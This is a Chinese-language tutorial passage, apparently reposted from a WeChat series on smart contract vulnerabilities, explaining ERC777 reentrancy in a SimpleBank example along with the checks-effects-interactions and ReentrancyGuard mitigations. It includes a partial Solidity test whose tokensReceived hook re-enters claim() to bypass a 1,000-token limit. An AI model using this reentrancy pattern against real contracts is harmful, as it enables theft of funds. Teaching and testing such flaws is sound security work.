描述:ERC777 代币在代币转移期间允许通过回调进行任意回调。恶意合约地址如果未使用可重入性守卫,可能会导致这些回调出现可重入性问题。
场景:每个外部账户地址(EOA)的最大声明数量为 1,000,你如何绕过这个限制?
缓解措施:遵循检查-效果-交互原则,并使用 OpenZeppelin 可重入性守卫。
参考:
C.R.E.A.M. Finance 事后分析 & 利用
合约代码:
// 由于代码过长,此处省略了合约代码的翻译,如果需要,请提供具体段落。
如何测试:
// 测试 SimpleBank 合约与 ERC777 代币的可重入性漏洞的函数
function testERC777Reentrancy() public {
// 初始化 ERC1820 合约,用于管理 ERC777 代币的接口
// ... 省略部分代码 ...
// 从 SimpleBank 合约声明代币,这将触发 `tokensReceived` 钩子
SimpleBankContract.claim(address(this), 900);
// ... 省略部分代码 ...
}
// 每当此合约接收 ERC777 代币时调用的 `tokensReceived` 钩子
function tokensReceived(
address payable operator,
address from,
address to,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external {
// 如果此合约的余额小于或等于 1000,则重新进入 SimpleBank 合约并声明 1000 个代币
if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {
console.log("Reentered");
SimpleBank(operator).claim(address(this), 1000);
}
}
// 接收以太币的 fallback 函数
receive() external payable {}
红框内:绕过了最大 1,000 个铸造限制。
原文始发于微信公众号(3072):智能合约漏洞入门(6)ERC777 可重入性漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论